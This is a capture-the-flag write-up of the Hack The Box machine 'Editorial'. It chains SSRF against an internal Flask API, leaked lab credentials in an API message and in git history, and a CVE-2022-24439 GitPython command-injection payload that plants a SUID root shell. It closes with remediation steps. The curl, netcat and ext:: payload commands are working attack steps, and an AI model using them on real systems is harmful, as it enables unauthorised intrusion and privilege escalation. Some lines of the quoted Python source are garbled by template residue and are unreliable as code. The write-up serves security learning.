HTB: Editorial
Editorial is an easy Linux machine featuring a book-publishing web app vulnerable to server-side request forgery, an internal Flask API leaking dev credentials, plaintext credentials in git history for lateral movement, and a GitPython RCE (CVE-2022-24439) via a root sudo script for privilege escalation.
TL;DR#
IPs#
Hack The Box assigned the IP address 10.10.11.20 for Editorial. I will use 10.10.4.4 for my Kali throughout this writeup, please change to your own IP.
Kill Chain#
Editorial Tiempo Arriba ➔ SSRF ➔ Internal Flask API (
Port 5000) ➔ Credential Disclosure ➔ dev ➔ Git History Leak ➔ prod ➔ GitPython RCE: CVE-2022-24439 ➔ root
Reconnaissance & Enumeration#
TCP Scan: nmap#
My nmap scan shows two open TCP ports, 22/ssh and 80/http running nginx 1.18.0. The web server also redirects me to a domain:
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ nmap -sC -sV -p- --min-rate 10000 10.10.11.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-25 20:38 UTC
Nmap scan report for 10.10.11.20
Host is up (0.043s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.47 secondsnmap — cheatsheet reference
-sCruns the default script scan,-sVdetects service versions,-p-scans all 65535 ports, and--min-rate 10000forces a fast packet rate.
The redirect points me at editorial.htb, so I map it to my /etc/hosts right away before I touch the website:
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hostsContent Enumeration: feroxbuster#
feroxbuster finds an upload endpoint on editorial.htb/upload-cover:
┌──(kali㉿shadowcat-[~/htb/writeups/editorial]
└─$ feroxbuster -u http://editorial.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://editorial.htb
🚩 In-Scope Url │ editorial.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/feroxbuster/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 210l 537w 7140c http://editorial.htb/upload
200 GET 72l 232w 2939c http://editorial.htb/about
302 GET 5l 22w 201c http://editorial.htb/upload-cover => http://editorial.htb/upload
200 GET 81l 467w 28535c http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
200 GET 7l 2189w 194901c http://editorial.htb/static/css/bootstrap.min.css
200 GET 4780l 27457w 2300540c http://editorial.htb/static/images/pexels-min-an-694740.jpg
200 GET 177l 589w 8577c http://editorial.htb/
200 GET 10938l 65137w 4902042c http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg
[####################] - 32s 30013/30013 0s found:8 errors:0
[####################] - 31s 30000/30000 971/s http://editorial.htb/Website: Port 80#
The website editorial.htb is a small book-publishing company called Editorial Tiempo Arriba:
The navigation has a Publish with us link. The form takes some book information including a Cover URL field that fetches a remote image:
A field that pulls a URL server-side always smells like Server-Side Request Forgery (SSRF). Let me confirm that.
SSRF Check: Callback Test#
I start a netcat listener and point the Cover URL field at my kali:
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ nc -nlvp 4444
listening on [any] 4444 ...netcat — cheatsheet reference
Then I send the request and press the preview button:
Got the hit! The server calls back to me, so it fetches any URL I give it:
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.4.4] from (UNKNOWN) [10.10.11.20] 35472
GET / HTTP/1.1
Host: 10.10.4.4:4444
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alivenetcat — cheatsheet reference
Initial Foothold#
Internal Port Scan: SSRF#
The server answers with a path under /static/uploads/ whenever a fetch works. I abuse that to scan 127.0.0.1 for internal services. Pointing at port 5000 returns a different response size than the closed ports, so something is listening there:
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ curl -s http://editorial.htb/upload-cover -F "bookurl=http://127.0.0.1:5000" -F "bookfile=@shadowcat.png"
static/uploads/b952a516-f281-41a1-9ae6-ea196dbab783curl — cheatsheet reference
The response is the saved copy of whatever port 5000 returned. I just read it back:
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ curl -s http://editorial.htb/static/uploads/b952a516-f281-41a1-9ae6-ea196dbab783
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}curl — cheatsheet reference
An internal Flask API on port 5000. The new_authors endpoint sounds like it hands out onboarding info, so I go straight for it.
Credential Disclosure: Flask API#
I aim the SSRF at the authors endpoint and read the result back:
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ curl -s http://editorial.htb/upload-cover -F "bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors" -F "bookfile=@shadowcat.png"
static/uploads/80e245c5-13f0-47a8-82b5-d2969aac48ea
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ curl -s http://editorial.htb/static/uploads/80e245c5-13f0-47a8-82b5-d2969aac48ea
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}curl — cheatsheet reference
There it is, plaintext credentials baked into a welcome message:
- Username:
dev - Password:
dev080217_devAPI!@
SSH: dev#
Those creds work on ssh for the user dev:
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password: dev080217_devAPI!@
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Nov 25 09:36:50 PM UTC 2024
System load: 0.0
Usage of /: 62.0% of 6.35GB
Memory usage: 14%
Swap usage: 0%
Processes: 226
Users logged in: 0
IPv4 address for eth0: 10.10.11.20
IPv6 address for eth0: dead:beef::250:56ff:fe94:726
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$I’m in! Let me run a id check and scan the home folder:
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
dev@editorial:~$ ls -al
total 32
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 .
drwxr-xr-x 4 root root 4096 Jun 5 14:36 ..
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 apps
lrwxrwxrwx 1 root root 9 Feb 6 2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3771 Jan 6 2022 .bashrc
drwx------ 2 dev dev 4096 Jun 5 14:36 .cache
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
-rw-r----- 1 root dev 33 Nov 25 10:22 user.txtUser Flag#
I’ll grab the user flag:
dev@editorial:~$ cat user.txt
11837e917490ae370ad3c0ca7adab41dLateral Movement#
Git History Leak: prod#
There’s an apps folder in dev’s home holding the source of the site and the API. The .git directory is the interesting part, so I read the full commit history:
dev@editorial:~$ cd apps
dev@editorial:~/apps$ ls -al
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git
dev@editorial:~/apps$ git --version
git version 2.34.1
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
dev@editorial:~/apps$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000..61b786f
--- /dev/null
+++ b/app_api/app.py
@@ -0,0 +1,74 @@
+# API (in development).
+# * To retrieve info about editorial
+
+import json
+from flask import Flask, jsonify
+
+# -------------------------------
+# App configuration
+# -------------------------------
+app = Flask(__name__)
+
+# -------------------------------
+# Global Variables
+# -------------------------------
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "info@tiempoarriba.htb"
+
+# -------------------------------
+# API routes
+# -------------------------------
+# -- : home
+@app.route('/api', methods=['GET'])
+def index():
+ data_editorial = {
+ 'version': [{
+ '1': {
+ 'editorial': 'Editorial El Tiempo Por Arriba',
+ 'contact_email_1': 'soporte@tiempoarriba.oc',
+ 'contact_email_2': 'info@tiempoarriba.oc',
+ 'api_route': '/api/v1/metadata/'
+ {{"{{"}}"}}"}},
+ {
+ '1.1': {
+ 'editorial': 'Ed Tiempo Arriba',
+ 'contact_email_1': 'soporte@tiempoarriba.oc',
+ 'contact_email_2': 'info@tiempoarriba.oc',
+ 'api_route': '/api/v1.1/metadata/'
+ {{"{{"}}"}}"}},
+ {
+ '1.2': {
+ 'editorial': api_editorial_name,
+ 'contact_email_1': 'soporte@tiempoarriba.oc',
+ 'contact_email_2': 'info@tiempoarriba.oc',
+ 'api_route': f'/api/v1.2/metadata/'
+ {{"{{"}}"}}"}},
+ {
+ '2': {
+ 'editorial': api_editorial_name,
+ 'contact_email': 'info@tiempoarriba.moc.oc',
+ 'api_route': f'/api/v2/metadata/'
+ {{"{{"}}"}}"}},
+ {
+ '2.3': {
+ 'editorial': api_editorial_name,
+ 'contact_email': api_editorial_email,
+ 'api_route': f'{api_route}/'
+ }
+ }]
+ }
+ return jsonify(data_editorial)
+
+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+ return jsonify({
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
+# -------------------------------
+if __name__ == '__main__':
+ app.run(host='127.0.0.1', port=5001, debug=True)
dev@editorial:~/apps$ git show 1e84a036b2f33c59e2390730699a488c65643d28 | grep Password
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."Another team welcome message leaking more credentials:
- Username:
prod - Password:
080217_Producti0n_2023!@
Let me check if there is a prod user and try to su:
dev@editorial:~/apps/.git$ ls -al /home
total 16
drwxr-xr-x 4 root root 4096 Jun 5 14:36 .
drwxr-xr-x 18 root root 4096 Jun 5 14:54 ..
drwxr-x--- 4 dev dev 4096 Nov 26 05:07 dev
drwxr-x--- 5 prod prod 4096 Jun 5 14:36 prod
dev@editorial:~/apps/.git$ su prod
Password: 080217_Producti0n_2023!@
prod@editorial:/home/dev/apps/.git$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
prod@editorial:/home/dev/apps/.git$ cd
prod@editorial:~$ ls -al
total 32
drwxr-x--- 5 prod prod 4096 Jun 5 14:36 .
drwxr-xr-x 4 root root 4096 Jun 5 14:36 ..
lrwxrwxrwx 1 root root 9 Feb 6 2023 .bash_history -> /dev/null
-rw-r--r-- 1 prod prod 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 prod prod 3771 Jan 6 2022 .bashrc
drwx------ 3 prod prod 4096 Jun 5 14:36 .cache
drwxrwxr-x 4 prod prod 4096 Jun 5 14:36 .local
-rw-r--r-- 1 prod prod 807 Jan 6 2022 .profile
drwx------ 2 prod prod 4096 Jun 5 14:36 .sshCredentials are still valid, I’m prod now!
Privilege Escalation#
Sudo Privileges: sudo -l#
Checking sudo -l shows that prod can run a Python script as root with any argument:
prod@editorial:~$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *sudo-abuse — cheatsheet reference
Script Review: clone_prod_change.py#
The script takes a URL I control and clones it with GitPython:
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])GitPython RCE: CVE-2022-24439#
I will double check which version of GitPython is running:
prod@editorial:~$ pip freeze | grep -i git
gitdb==4.0.10
GitPython==3.1.29The version of GitPython here passes my URL to git clone without sanitizing it, and protocol.ext.allow=always is explicitly turned on. That’s the exact setup for CVE-2022-24439.
The ext:: transport lets me smuggle a shell command through the clone URL. I copy bash and set the SUID bit on my own copy:
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/shadowcat;chmod% u+s% /tmp/shadowcat'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cp% /bin/bash% /tmp/shadowcat;chmod% u+s% /tmp/shadowcat new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'- The
ext::sh -cpayload runs an arbitrary command asroot;%stands in for spaces sogitkeeps the whole thing as one argument.
Works great! I run my SUID bash with -p to get root privileges:
prod@editorial:~$ /tmp/shadowcat -p
shadowcat-5.1# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)Root Flag#
Editorial is pwned, I cat the root flag:
shadowcat-5.1# cat /root/root.txt
1cbaa2a9d36cd2956c93a5ffb97c4cfbPwned#
Vulnerabilities#
Beyond root, let me summarize which vulnerabilities I found and used on Editorial:
Vulnerabilities Summary#
| Vulnerability | CVE / CWE | Severity | Root Cause | Real-World Impact |
|---|---|---|---|---|
| Server-Side Request Forgery (Cover URL fetch) | CWE-918 | High | The upload form fetches any user-supplied URL server-side with no allowlist or internal-address filter | Attacker reaches internal-only services and reads their responses through the public app |
| Sensitive Data in API Response | CWE-200 | High | The internal Flask API returns onboarding text containing live account credentials in plaintext | Leaked credentials give direct SSH foothold as dev |
| Cleartext Credentials in Git History | CWE-538 | Medium | An old commit stores the prod username and password in the repo diff | Anyone who reads the repo recovers a valid higher-privilege account |
| GitPython Remote Code Execution | CVE-2022-24439 | Critical | clone_from passes an unsanitized URL to git, allowing the ext:: transport to run commands | Full command execution as root |
| Insecure Sudo Configuration | CWE-269 | High | prod may run a vulnerable clone script as root with a wildcard argument | Any injection in the script argument runs with root privileges |
Remediation#
Fix the SSRF (CWE-918)#
Validate the Cover URL server-side. Only allow the http/https schemes and block requests to private and loopback ranges before fetching:
import ipaddress, socket
from urllib.parse import urlparse
def is_safe_url(url):
parts = urlparse(url)
if parts.scheme not in ("http", "https"):
return False
ip = ipaddress.ip_address(socket.gethostbyname(parts.hostname))
return not (ip.is_private or ip.is_loopback or ip.is_link_local)Stop Leaking Credentials in the API (CWE-200)#
Never ship real credentials in API text. Pull secrets from environment variables and rotate the exposed dev account:
# rotate the leaked account and read secrets from the environment instead
passwd dev
export FORUM_DEV_PASS="$(openssl rand -base64 24)"Purge Secrets from Git History (CWE-538)#
Rotate the prod password and rewrite history so the old secret is gone from every commit:
passwd prod
pip install git-filter-repo
git filter-repo --path app_api/app.py --invert-paths
git push origin --force --allPatch GitPython (CVE-2022-24439)#
Upgrade GitPython to a fixed release, which rejects the malicious clone URLs:
pip install --upgrade "GitPython>=3.1.30"Lock Down the Sudo Rule (CWE-269)#
Remove the wildcard sudo entry so prod can no longer feed arbitrary arguments to a root script. Edit with nano and delete the line:
# remove this line from /etc/sudoers.d/prod
prod ALL=(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
